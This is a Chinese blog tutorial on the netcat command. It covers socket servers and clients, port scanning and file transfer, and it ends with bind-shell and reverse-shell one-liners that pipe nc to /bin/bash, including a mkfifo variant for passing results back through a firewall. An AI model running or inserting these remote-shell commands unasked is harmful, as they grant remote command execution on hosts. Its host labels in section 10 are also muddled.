netcat 命令详解

netcat 是一款调试 TCP/UDP 网络连接的利器，常被称作网络调试的瑞士军刀，可见其功能强大。

netcat 在 Linux, Windows 等各大操作系统上都有对应等发行版，以下以 Linux(Ubuntu 16.04) 为例介绍其几个强大的用法。

![wKiom1idqMihhTdoAABux5ZXWF0191.png-wh_651x-s_657031727.png][1]

netcat 在 Linux 中一般通过命令 nc 调用。我们先来看下它的帮助文档

```
# nc -h
OpenBSD netcat (Debian patchlevel 1.105-7ubuntu1)
This is nc from the netcat-openbsd package. An alternative nc is available
in the netcat-traditional package.
usage: nc [-46bCDdhjklnrStUuvZz] [-I length] [-i interval] [-O length]
      [-P proxy_username] [-p source_port] [-q seconds] [-s source]
      [-T toskeyword] [-V rtable] [-w timeout] [-X proxy_protocol]
      [-x proxy_address[:port]] [destination] [port]
    Command Summary:
        -4        Use IPv4
        -6        Use IPv6
        -b        Allow broadcast
        -C        Send CRLF as line-ending
        -D        Enable the debug socket option
        -d        Detach from stdin
        -h        This help text
        -I length    TCP receive buffer length
        -i secs        Delay interval for lines sent, ports scanned
        -j        Use jumbo frame
        -k        Keep inbound sockets open for multiple connects
        -l        Listen mode, for inbound connects
        -n        Suppress name/port resolutions
        -O length    TCP send buffer length
        -P proxyuser    Username for proxy authentication
        -p port        Specify local port for remote connects
            -q secs        quit after EOF on stdin and delay of secs
        -r        Randomize remote ports
        -S        Enable the TCP MD5 signature option
        -s addr        Local source address
        -T toskeyword    Set IP Type of Service
        -t        Answer TELNET negotiation
        -U        Use UNIX domain socket
        -u        UDP mode
        -V rtable    Specify alternate routing table
        -v        Verbose
        -w secs        Timeout for connects and final net reads
        -X proto    Proxy protocol: "4", "5" (SOCKS) or "connect"
        -x addr[:port]    Specify proxy address and port
        -Z        DCCP mode
        -z        Zero-I/O mode [used for scanning]
    Port numbers can be individual or ranges: lo-hi [inclusive]
```
可以看到我们使用的是 `netcat-openbsd` 这个发行版的 netcat, 除此之外，还有 `netcat-traditiona`l 等发行版。不同发行版的基本功能相同，只是有细微的差别。

![011659z6zs4uu5s5jd4s5j.gif][2]

简单来说， nc 有以下功能：

- 模拟 TCP 服务端
 - 模拟 TCP 客户端
 - 模拟 UDP 服务端
 - 模拟 UDP 客户端
 - 模拟 UNIX socket 服务端
 - 模拟 UNIX socket 客户端
 - 端口扫描
 - 传输文件
 - 将服务器 bash 暴露给远程客户端
 - 内网穿透，反向获取防火墙后的机器的 bash

以下分别举例说明。

##实例环境设定

假设

- 服务器 A 有外网 IP 202.118.69.40
 - 服务器 B 没有外网 IP
 - 客户端 C 有外网 IP 202.119.70.41

三台主机上均为 Ubuntu 16.04 操作系统。

## 1、模拟 TCP 服务端

`nc -lk 9090`

在服务器 A 执行以上命令，将会把 nc 绑定到 9090 端口，并开始监听请求。

- `-l` 代表 netcat 将以监听模式运行；
 - `-k` 表示 nc 在接收完一个请求后不会立即退出，而是会继续监听其他请求。

这时就可以请求该接口了， nc 会把请求报文输出到标准输出。

例如在客户端 C 执行 `curl 202.118.69.40`
nc 将会将 HTTP 请求的报文输出到标准输出
```
GET / HTTP/1.1
Host: 192.168.0.71:9090
User-Agent: curl/7.54.0
Accept: */*
```
## 2、模拟 TCP 客户端

`printf "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n" | nc example.com 80`

在客户端 C 执行上述代码,

C 的输出如下
```
Connection to example.com port 80 [tcp/http] succeeded!
HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: max-age=604800
Content-Type: text/html; charset=UTF-8
Date: Tue, 09 Oct 2018 07:08:38 GMT
Etag: "1541025663+gzip"
Expires: Tue, 16 Oct 2018 07:08:38 GMT
Last-Modified: Fri, 09 Aug 2013 23:54:35 GMT
Server: ECS (sjc/4E52)
Vary: Accept-Encoding
X-Cache: HIT
Content-Length: 1270

<!doctype html>
<html>
<head>
    <title>Example Domain</title>

<body>
<div>
    <h1>Example Domain</h1>
    <p>This domain is established to be used for illustrative examples in documents. You may use this
    domain in examples without prior coordination or asking for permission.</p>
    <p><a href="http://www.iana.org/domains/example">More information...</a></p>
</div>
</body>
</html>
```
证明客户端模拟成功，给 example.com 发送了 HTTP Method 为 GET 的 HTTP 请求。

## 3、模拟 UDP 服务端

在 A 执行

`nc -lk -u 9090`

## 4、模拟 UDP 客户端

在 C 执行

`nc -u 202.118.69.40 9090`

此时在客户端终端中输入任意字符，将在 A 的终端中输出同样的字符，证明 UDP 服务端和客户端模拟成功。

## 5、模拟 UNIX socket 服务端

在 A 执行

`nc -Ul /tmp/mync.sock`

## 6、模拟 UNIX socket 客户端

在 A 执行(UNIX 默认不能跨服务器)

`nc -U /tmp/mync.sock`

此时在该终端中输入任意字符，将在第5步的终端中输出同样的字符，证明 Unix socket 服务端和客户端模拟成功。

## 7、端口扫描

`nc -vz 202.118.69.40 1-81 2>&1|grep succeed`

- `-z` 指 Zero-I/O mode，即连接的过程中禁用输入输出，仅用与端口扫描。
 - `2>&1|grep succeed`
   默认情况下扫描过程中，不论成功与失败，扫描结果都被输出到了“标准错误输出”，该命令用来过滤，仅显示出打开到端口。

上述指令输出结果如下：
```
Connection to 202.118.69.40 22 port [tcp/ssh] succeeded!
Connection to 202.118.69.40 53 port [tcp/domain] succeeded!
Connection to 202.118.69.40 80 port [tcp/http] succeeded!
```
## 8、传输文件

### 8.1 向服务器上传图片

服务器 A 监听 9090 端口

`nc -l 9090 | base64 -d > WechatIMG88.jpeg`

客户端上传图片

`base64 WechatIMG88.jpeg | nc 202.118.69.40 9090`

*注：因为需要传输图片，所以先 base64 编码，然后下载完再解码避免终端错乱。*

### 8.2 从服务器下载图片

服务器 A 监听 9090 端口，并将要下载的图片输出到 nc

`base64 WechatIMG88.jpeg | nc -l 9090`

客户端下载

`nc -t 202.118.69.40 9090|base64 -D > w.jpeg`

## 9、将服务器 bash 暴露给远程客户端

与 7 类似，只不过服务端将接收到到内容管道给 /bin/bash
然后在客户端输入要敲的命令

`nc -l 9090 | /bin/bash`

## 10、内网穿透，反向获取防火墙后的机器的 bash

与 8 类似，只不过服务器 B 将内容管道给 /bin/bash

在客户端 A 打开监听

`nc -l 9090`

在服务器 C 上执行以下代码反向接受命令

`nc -t 202.119.70.41 9090 | /bin/bash`

然后在客户端 A 输入要执行的命令即可。

需要注意的是，使用上述命令远程执行命令时在客户端无法看到命令的返回结果。
通过创建命名管道的方式，可将 bash 执行的结果回传给 netcat,
具体命令如下（在服务器 C 执行代码）：
```
mkfifo ncpipe
nc -t 202.119.70.41 9090 0<ncpipe| /bin/bash 1>ncpipe
```

[1]: https://tech.imydl.com/usr/uploads/2018/10/1279650131.png
  [2]: https://tech.imydl.com/usr/uploads/2018/10/1690011800.gif

netcat 是一款调试 TCP/UDP 网络连接的利器，常被称作网络调试的瑞士军刀，可见其功能强大。

netcat 在 Linux, Windows 等各大操作系统上都有对应等发行版，以下以 Linux(Ubuntu 16.04) 为例介绍其几个强大的用法。

wKiom1idqMihhTdoAABux5ZXWF0191.png-wh_651x-s_657031727.png

netcat 在 Linux 中一般通过命令 nc 调用。我们先来看下它的帮助文档

# nc -h
OpenBSD netcat (Debian patchlevel 1.105-7ubuntu1)
This is nc from the netcat-openbsd package. An alternative nc is available
in the netcat-traditional package.
usage: nc [-46bCDdhjklnrStUuvZz] [-I length] [-i interval] [-O length]
      [-P proxy_username] [-p source_port] [-q seconds] [-s source]
      [-T toskeyword] [-V rtable] [-w timeout] [-X proxy_protocol]
      [-x proxy_address[:port]] [destination] [port]
    Command Summary:
        -4        Use IPv4
        -6        Use IPv6
        -b        Allow broadcast
        -C        Send CRLF as line-ending
        -D        Enable the debug socket option
        -d        Detach from stdin
        -h        This help text
        -I length    TCP receive buffer length
        -i secs        Delay interval for lines sent, ports scanned
        -j        Use jumbo frame
        -k        Keep inbound sockets open for multiple connects
        -l        Listen mode, for inbound connects
        -n        Suppress name/port resolutions
        -O length    TCP send buffer length
        -P proxyuser    Username for proxy authentication
        -p port        Specify local port for remote connects
            -q secs        quit after EOF on stdin and delay of secs
        -r        Randomize remote ports
        -S        Enable the TCP MD5 signature option
        -s addr        Local source address
        -T toskeyword    Set IP Type of Service
        -t        Answer TELNET negotiation
        -U        Use UNIX domain socket
        -u        UDP mode
        -V rtable    Specify alternate routing table
        -v        Verbose
        -w secs        Timeout for connects and final net reads
        -X proto    Proxy protocol: "4", "5" (SOCKS) or "connect"
        -x addr[:port]    Specify proxy address and port
        -Z        DCCP mode
        -z        Zero-I/O mode [used for scanning]
    Port numbers can be individual or ranges: lo-hi [inclusive]

可以看到我们使用的是 netcat-openbsd 这个发行版的 netcat, 除此之外，还有 netcat-traditional 等发行版。不同发行版的基本功能相同，只是有细微的差别。

简单来说， nc 有以下功能：

模拟 TCP 服务端
模拟 TCP 客户端
模拟 UDP 服务端
模拟 UDP 客户端
模拟 UNIX socket 服务端
模拟 UNIX socket 客户端
端口扫描
传输文件
将服务器 bash 暴露给远程客户端
内网穿透，反向获取防火墙后的机器的 bash

以下分别举例说明。

实例环境设定

假设

服务器 A 有外网 IP 202.118.69.40
服务器 B 没有外网 IP
客户端 C 有外网 IP 202.119.70.41

三台主机上均为 Ubuntu 16.04 操作系统。

1、模拟 TCP 服务端

nc -lk 9090

在服务器 A 执行以上命令，将会把 nc 绑定到 9090 端口，并开始监听请求。

-l 代表 netcat 将以监听模式运行；
-k 表示 nc 在接收完一个请求后不会立即退出，而是会继续监听其他请求。

这时就可以请求该接口了， nc 会把请求报文输出到标准输出。

例如在客户端 C 执行 curl 202.118.69.40
nc 将会将 HTTP 请求的报文输出到标准输出

GET / HTTP/1.1
Host: 192.168.0.71:9090
User-Agent: curl/7.54.0
Accept: */*

2、模拟 TCP 客户端

printf "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n" | nc example.com 80

在客户端 C 执行上述代码,

C 的输出如下

Connection to example.com port 80 [tcp/http] succeeded!
HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: max-age=604800
Content-Type: text/html; charset=UTF-8
Date: Tue, 09 Oct 2018 07:08:38 GMT
Etag: "1541025663+gzip"
Expires: Tue, 16 Oct 2018 07:08:38 GMT
Last-Modified: Fri, 09 Aug 2013 23:54:35 GMT
Server: ECS (sjc/4E52)
Vary: Accept-Encoding
X-Cache: HIT
Content-Length: 1270

<!doctype html>
<html>
<head>
    <title>Example Domain</title>

    <meta charset="utf-8" />
    <meta http-equiv="Content-type" content="text/html; charset=utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <style type="text/css">
   ...
</head>

<body>
<div>
    <h1>Example Domain</h1>
    <p>This domain is established to be used for illustrative examples in documents. You may use this
    domain in examples without prior coordination or asking for permission.</p>
    <p><a href="http://www.iana.org/domains/example">More information...</a></p>
</div>
</body>
</html>

证明客户端模拟成功，给 example.com 发送了 HTTP Method 为 GET 的 HTTP 请求。

3、模拟 UDP 服务端

在 A 执行

nc -lk -u 9090

4、模拟 UDP 客户端

在 C 执行

nc -u 202.118.69.40 9090

此时在客户端终端中输入任意字符，将在 A 的终端中输出同样的字符，证明 UDP 服务端和客户端模拟成功。

5、模拟 UNIX socket 服务端

在 A 执行

nc -Ul /tmp/mync.sock

6、模拟 UNIX socket 客户端

在 A 执行(UNIX 默认不能跨服务器)

nc -U /tmp/mync.sock

此时在该终端中输入任意字符，将在第5步的终端中输出同样的字符，证明 Unix socket 服务端和客户端模拟成功。

7、端口扫描

nc -vz 202.118.69.40 1-81 2>&1|grep succeed

-z 指 Zero-I/O mode，即连接的过程中禁用输入输出，仅用与端口扫描。
2>&1|grep succeed
默认情况下扫描过程中，不论成功与失败，扫描结果都被输出到了“标准错误输出”，该命令用来过滤，仅显示出打开到端口。

上述指令输出结果如下：

Connection to 202.118.69.40 22 port [tcp/ssh] succeeded!
Connection to 202.118.69.40 53 port [tcp/domain] succeeded!
Connection to 202.118.69.40 80 port [tcp/http] succeeded!

8、传输文件

8.1 向服务器上传图片

服务器 A 监听 9090 端口

nc -l 9090 | base64 -d > WechatIMG88.jpeg

客户端上传图片

base64 WechatIMG88.jpeg | nc 202.118.69.40 9090

注：因为需要传输图片，所以先 base64 编码，然后下载完再解码避免终端错乱。

8.2 从服务器下载图片

服务器 A 监听 9090 端口，并将要下载的图片输出到 nc

base64 WechatIMG88.jpeg | nc -l 9090

客户端下载

nc -t 202.118.69.40 9090|base64 -D > w.jpeg

9、将服务器 bash 暴露给远程客户端

与 7 类似，只不过服务端将接收到到内容管道给 /bin/bash
然后在客户端输入要敲的命令

nc -l 9090 | /bin/bash

10、内网穿透，反向获取防火墙后的机器的 bash

与 8 类似，只不过服务器 B 将内容管道给 /bin/bash

在客户端 A 打开监听

nc -l 9090

在服务器 C 上执行以下代码反向接受命令

nc -t 202.119.70.41 9090 | /bin/bash

然后在客户端 A 输入要执行的命令即可。

需要注意的是，使用上述命令远程执行命令时在客户端无法看到命令的返回结果。
通过创建命名管道的方式，可将 bash 执行的结果回传给 netcat,
具体命令如下（在服务器 C 执行代码）：

mkfifo ncpipe
nc -t 202.119.70.41 9090 0<ncpipe| /bin/bash 1>ncpipe

最后修改：2018 年 12 月 21 日

如果觉得我的文章对你有用，请随意赞赏

实例环境设定

1、模拟 TCP 服务端

2、模拟 TCP 客户端

3、模拟 UDP 服务端

4、模拟 UDP 客户端

5、模拟 UNIX socket 服务端

6、模拟 UNIX socket 客户端

7、端口扫描

8、传输文件

8.1 向服务器上传图片

8.2 从服务器下载图片

9、将服务器 bash 暴露给远程客户端

10、内网穿透，反向获取防火墙后的机器的 bash

发表评论取消回复
使用cookie技术保留您的个人信息以便您下次快速评论，继续评论表示您已同意该条款

CentOS 文件操作与压缩命令大全

个人博客如何选择 Typecho 和 Hexo ？

记录分享两个 MariaDB 导入大量记录 MySQL 备份错误的解决

handsome主题“泡泡”评论表情包修正版

美化 Typecho 开发版 MarkDown 的脚注

LNMP 1.5 测试版体验之 ngx_lua_waf 初体验！

WordPress 手机客户端在 Typecho 上无法回复评论的原因

Linux下修改DNS方法：临时修改和永久修改

iptables 屏蔽IP指令详解

Typecho 下 Handsome 主题投放谷歌AdSense广告总结

netcat 命令详解

实例环境设定

1、模拟 TCP 服务端

2、模拟 TCP 客户端

3、模拟 UDP 服务端

4、模拟 UDP 客户端

5、模拟 UNIX socket 服务端

6、模拟 UNIX socket 客户端

7、端口扫描

8、传输文件

8.1 向服务器上传图片

8.2 从服务器下载图片

9、将服务器 bash 暴露给远程客户端

10、内网穿透，反向获取防火墙后的机器的 bash

发表评论 取消回复 使用cookie技术保留您的个人信息以便您下次快速评论，继续评论表示您已同意该条款

netcat 命令详解

发表评论取消回复
使用cookie技术保留您的个人信息以便您下次快速评论，继续评论表示您已同意该条款